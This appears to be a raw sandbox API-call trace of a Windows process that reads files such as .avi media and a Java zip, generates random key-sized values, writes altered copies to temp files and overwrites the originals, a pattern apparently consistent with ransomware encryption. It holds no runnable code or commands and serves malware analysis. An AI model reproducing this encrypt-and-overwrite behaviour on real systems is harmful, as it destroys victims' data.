	[0243.023] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0) returned 0
	[0243.023] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0xa8, lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0003e5d94, lpOverlapped=0x0) returned 0
	[0243.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0243.024] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0003e5bf4 | out: lpMode=0xc0003e5bf4) returned 0
	[0243.024] GetFileType (hFile=0x19c) returned 0x1
	[0243.024] GetFileType (hFile=0x19c) returned 0x1
	[0243.027] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0003e5c44 | out: lpFileInformation=0xc0003e5c44) returned 1
	[0243.027] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0003e5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0003e5c28) returned 1
	[0243.027] ReadFile (in: hFile=0x19c, lpBuffer=0xc00014e000, nNumberOfBytesToRead=0xb81e, lpNumberOfBytesRead=0xc0003e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00014e000*, lpNumberOfBytesRead=0xc0003e5b04*=0xb61e, lpOverlapped=0x0) returned 1
	[0243.074] ReadFile (in: hFile=0x19c, lpBuffer=0xc00015961e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0003e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00015961e*, lpNumberOfBytesRead=0xc0003e5b04*=0x0, lpOverlapped=0x0) returned 1
	[0243.074] CloseHandle (hObject=0x19c) returned 1
	[0243.075] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202140 | out: pbBuffer=0xc000202140) returned 1
	[0243.075] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c0a0 | out: pbBuffer=0xc00028c0a0) returned 1
	[0243.075] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8101 | out: pbBuffer=0xc0002a8101) returned 1
	[0243.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4ec1e97a26078872cb209914f4c79a7d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4ec1e97a26078872cb209914f4c79a7d"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0243.193] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dfc04 | out: lpMode=0xc0001dfc04) returned 0
	[0243.193] GetFileType (hFile=0x19c) returned 0x1
	[0243.193] WriteFile (in: hFile=0x19c, lpBuffer=0xc000168000*, nNumberOfBytesToWrite=0xb71e, lpNumberOfBytesWritten=0xc0001dfbec, lpOverlapped=0x0 | out: lpBuffer=0xc000168000*, lpNumberOfBytesWritten=0xc0001dfbec*=0xb71e, lpOverlapped=0x0) returned 1
	[0243.197] CloseHandle (hObject=0x19c) returned 1
	[0243.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.243] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi\\*", lpFindFileData=0xc0001dfa78 | out: lpFindFileData=0xc0001dfa78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0243.244] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4ec1e97a26078872cb209914f4c79a7d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4ec1e97a26078872cb209914f4c79a7d")) returned 1
	[0243.280] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0243.306] SetEvent (hEvent=0xd4) returned 1
	[0243.306] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc28*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0243.314] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0243.314] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc28*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0243.365] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0243.365] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff4c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff498, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff4c0, ulNumEntriesRemoved=0x7070fff498) returned 0
	[0243.365] SetEvent (hEvent=0x188) returned 1
	[0243.365] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc38*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0243.373] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0243.374] WriteFile (in: hFile=0x120, lpBuffer=0xc000480000*, nNumberOfBytesToWrite=0x32f18, lpNumberOfBytesWritten=0xc000275bec, lpOverlapped=0x0 | out: lpBuffer=0xc000480000*, lpNumberOfBytesWritten=0xc000275bec*=0x32f18, lpOverlapped=0x0) returned 1
	[0243.386] CloseHandle (hObject=0x120) returned 1
	[0243.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi\\*", lpFindFileData=0xc000275a78 | out: lpFindFileData=0xc000275a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0243.396] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9c051818229f7c1cb88ffe93aa4a0c60" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9c051818229f7c1cb88ffe93aa4a0c60")) returned 1
	[0243.401] WriteFile (in: hFile=0x19c, lpBuffer=0xc000396000*, nNumberOfBytesToWrite=0x2c0cc, lpNumberOfBytesWritten=0xc000279bec, lpOverlapped=0x0 | out: lpBuffer=0xc000396000*, lpNumberOfBytesWritten=0xc000279bec*=0x2c0cc, lpOverlapped=0x0) returned 1
	[0243.426] CloseHandle (hObject=0x19c) returned 1
	[0243.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi\\*", lpFindFileData=0xc000279a78 | out: lpFindFileData=0xc000279a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0243.436] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eeff5082bc660889ef9d2a5f0cbe916" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eeff5082bc660889ef9d2a5f0cbe916")) returned 1
	[0243.441] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0243.517] VirtualFree (lpAddress=0xc00080a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.517] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0243.645] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0243.719] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0243.838] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0243.938] SetEvent (hEvent=0xd4) returned 1
	[0243.938] VirtualFree (lpAddress=0xc0007fc000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.938] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.048] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.117] SetEvent (hEvent=0xd4) returned 1
	[0244.117] VirtualFree (lpAddress=0xc0007f4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.117] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.121] SetEvent (hEvent=0xd4) returned 1
	[0244.121] SetEvent (hEvent=0x1a0) returned 1
	[0244.121] VirtualFree (lpAddress=0xc0007f0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.121] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.187] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.233] VirtualFree (lpAddress=0xc0007e2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.233] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.322] VirtualFree (lpAddress=0xc0007de000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.323] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0244.329] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.381] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.422] SetEvent (hEvent=0x17c) returned 1
	[0244.422] VirtualFree (lpAddress=0xc0007da000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.423] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.488] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.566] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.577] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.664] VirtualFree (lpAddress=0xc0007cc000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.664] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.677] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.726] VirtualFree (lpAddress=0xc0007c6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.726] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.783] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.850] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.926] SetEvent (hEvent=0x17c) returned 1
	[0244.926] VirtualFree (lpAddress=0xc0007bc000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.926] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0244.965] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.013] VirtualFree (lpAddress=0xc0004f6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.014] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc28*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.045] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.045] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc28*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x0
	[0245.067] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff4c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff498, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff4c0, ulNumEntriesRemoved=0x7070fff498) returned 0
	[0245.067] SetEvent (hEvent=0xe4) returned 1
	[0245.067] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc38*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x0
	[0245.120] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.138] SetEvent (hEvent=0x1a0) returned 1
	[0245.138] VirtualFree (lpAddress=0xc000528000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.138] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.233] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.268] SetEvent (hEvent=0xd4) returned 1
	[0245.268] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0) returned 0
	[0245.268] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x9a, lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0) returned 0
	[0245.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0245.269] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc00020fbf4 | out: lpMode=0xc00020fbf4) returned 0
	[0245.269] GetFileType (hFile=0x120) returned 0x1
	[0245.269] GetFileType (hFile=0x120) returned 0x1
	[0245.269] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc00020fc44 | out: lpFileInformation=0xc00020fc44) returned 1
	[0245.269] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc00020fc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00020fc28) returned 1
	[0245.270] ReadFile (in: hFile=0x120, lpBuffer=0xc0000b8000, nNumberOfBytesToRead=0x394c, lpNumberOfBytesRead=0xc00020fb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000b8000*, lpNumberOfBytesRead=0xc00020fb04*=0x374c, lpOverlapped=0x0) returned 1
	[0245.293] ReadFile (in: hFile=0x120, lpBuffer=0xc0000bb74c, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00020fb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000bb74c*, lpNumberOfBytesRead=0xc00020fb04*=0x0, lpOverlapped=0x0) returned 1
	[0245.293] CloseHandle (hObject=0x120) returned 1
	[0245.293] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092100 | out: pbBuffer=0xc000092100) returned 1
	[0245.293] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a180 | out: pbBuffer=0xc00021a180) returned 1
	[0245.293] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8101 | out: pbBuffer=0xc0002a8101) returned 1
	[0245.294] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d148dc42cf55ae9a91e0da2097dfe351" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d148dc42cf55ae9a91e0da2097dfe351"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0245.294] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e3c04 | out: lpMode=0xc0001e3c04) returned 0
	[0245.295] GetFileType (hFile=0x120) returned 0x1
	[0245.295] WriteFile (in: hFile=0x120, lpBuffer=0xc0000bc000*, nNumberOfBytesToWrite=0x384c, lpNumberOfBytesWritten=0xc0001e3bec, lpOverlapped=0x0 | out: lpBuffer=0xc0000bc000*, lpNumberOfBytesWritten=0xc0001e3bec*=0x384c, lpOverlapped=0x0) returned 1
	[0245.297] CloseHandle (hObject=0x120) returned 1
	[0245.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0245.306] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e3d74 | out: lpMode=0xc0001e3d74) returned 0
	[0245.306] GetFileType (hFile=0x120) returned 0x1
	[0245.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d148dc42cf55ae9a91e0da2097dfe351" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d148dc42cf55ae9a91e0da2097dfe351"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0245.306] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0001e3d74 | out: lpMode=0xc0001e3d74) returned 0
	[0245.306] GetFileType (hFile=0x1a8) returned 0x1
	[0245.306] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00025c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e3bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00025c000*, lpNumberOfBytesRead=0xc0001e3bd4*=0x384c, lpOverlapped=0x0) returned 1
	[0245.307] WriteFile (in: hFile=0x120, lpBuffer=0xc00025c000*, nNumberOfBytesToWrite=0x384c, lpNumberOfBytesWritten=0xc0001e3b74, lpOverlapped=0x0 | out: lpBuffer=0xc00025c000*, lpNumberOfBytesWritten=0xc0001e3b74*=0x384c, lpOverlapped=0x0) returned 1
	[0245.309] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00025c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e3bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00025c000*, lpNumberOfBytesRead=0xc0001e3bd4*=0x0, lpOverlapped=0x0) returned 1
	[0245.310] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d148dc42cf55ae9a91e0da2097dfe351" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d148dc42cf55ae9a91e0da2097dfe351")) returned 0
	[0245.310] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d148dc42cf55ae9a91e0da2097dfe351" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d148dc42cf55ae9a91e0da2097dfe351")) returned 0
	[0245.310] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d148dc42cf55ae9a91e0da2097dfe351" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d148dc42cf55ae9a91e0da2097dfe351")) returned 0x20
	[0245.310] CloseHandle (hObject=0x1a8) returned 1
	[0245.310] CloseHandle (hObject=0x120) returned 1
	[0245.323] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d148dc42cf55ae9a91e0da2097dfe351" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d148dc42cf55ae9a91e0da2097dfe351")) returned 1
	[0245.326] SetEvent (hEvent=0xd4) returned 1
	[0245.326] VirtualFree (lpAddress=0xc00051c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.326] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.380] VirtualFree (lpAddress=0xc00051a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.381] SetEvent (hEvent=0x188) returned 1
	[0245.381] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.433] VirtualFree (lpAddress=0xc000518000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.433] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x7d, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0245.571] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.713] SetEvent (hEvent=0xd4) returned 1
	[0245.713] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.810] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.882] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0245.951] SetEvent (hEvent=0x1a0) returned 1
	[0245.951] SetEvent (hEvent=0x17c) returned 1
	[0245.951] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0246.152] SetEvent (hEvent=0xe4) returned 1
	[0246.152] SwitchToThread () returned 1
	[0246.279] SwitchToThread () returned 1
	[0246.323] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0246.382] SwitchToThread () returned 1
	[0246.389] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0246.466] SetEvent (hEvent=0xe4) returned 1
	[0246.466] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0246.482] SetEvent (hEvent=0xe4) returned 1
	[0246.482] SetEvent (hEvent=0x188) returned 1
	[0246.482] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000af8000, nNumberOfBytesToRead=0x4ce9de, lpNumberOfBytesRead=0xc000211b04, lpOverlapped=0x0 | out: lpBuffer=0xc000af8000*, lpNumberOfBytesRead=0xc000211b04*=0x4ce7de, lpOverlapped=0x0) returned 1
	[0248.164] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000fc67de, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000211b04, lpOverlapped=0x0 | out: lpBuffer=0xc000fc67de*, lpNumberOfBytesRead=0xc000211b04*=0x0, lpOverlapped=0x0) returned 1
	[0248.164] CloseHandle (hObject=0x1ac) returned 1
	[0248.164] VirtualAlloc (lpAddress=0xc000044000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000044000
	[0248.164] VirtualAlloc (lpAddress=0xc00004a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004a000
	[0248.165] VirtualAlloc (lpAddress=0xc000058000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000058000
	[0248.165] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e2e0 | out: pbBuffer=0xc00000e2e0) returned 1
	[0248.165] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c0a0 | out: pbBuffer=0xc00028c0a0) returned 1
	[0248.165] VirtualAlloc (lpAddress=0xc000060000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000060000
	[0248.165] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082101 | out: pbBuffer=0xc000082101) returned 1
	[0248.166] VirtualAlloc (lpAddress=0xc00006a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006a000
	[0248.166] VirtualAlloc (lpAddress=0xc00006c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006c000
	[0248.177] VirtualAlloc (lpAddress=0xc001400000, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0xc001400000
	[0248.178] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebdf0000
	[0248.178] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebe20000
	[0248.179] VirtualAlloc (lpAddress=0xc000fc8000, dwSize=0x4d0000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0248.179] VirtualAlloc (lpAddress=0xc000fc8000, dwSize=0x4d0000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0248.179] VirtualAlloc (lpAddress=0xc000fc8000, dwSize=0x268000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000fc8000
	[0248.252] VirtualAlloc (lpAddress=0xc001230000, dwSize=0x268000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0248.253] VirtualAlloc (lpAddress=0xc001230000, dwSize=0x134000, flAllocationType=0x1000, flProtect=0x4) returned 0xc001230000
	[0248.259] VirtualAlloc (lpAddress=0xc001364000, dwSize=0x134000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0248.259] VirtualAlloc (lpAddress=0xc001364000, dwSize=0x9a000, flAllocationType=0x1000, flProtect=0x4) returned 0xc001364000
	[0248.262] VirtualAlloc (lpAddress=0xc0013fe000, dwSize=0x9a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0248.262] VirtualAlloc (lpAddress=0xc0013fe000, dwSize=0x4d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0248.262] VirtualAlloc (lpAddress=0xc0013fe000, dwSize=0x26000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0248.262] VirtualAlloc (lpAddress=0xc0013fe000, dwSize=0x13000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0248.262] VirtualAlloc (lpAddress=0xc0013fe000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0248.262] VirtualAlloc (lpAddress=0xc0013fe000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0248.263] VirtualAlloc (lpAddress=0xc0013fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0013fe000
	[0248.263] VirtualAlloc (lpAddress=0xc001400000, dwSize=0x98000, flAllocationType=0x1000, flProtect=0x4) returned 0xc001400000
	[0248.789] VirtualAlloc (lpAddress=0xc00007e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007e000
	[0248.789] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\64df796b562ba10f0aee0dc27102191f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\64df796b562ba10f0aee0dc27102191f"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
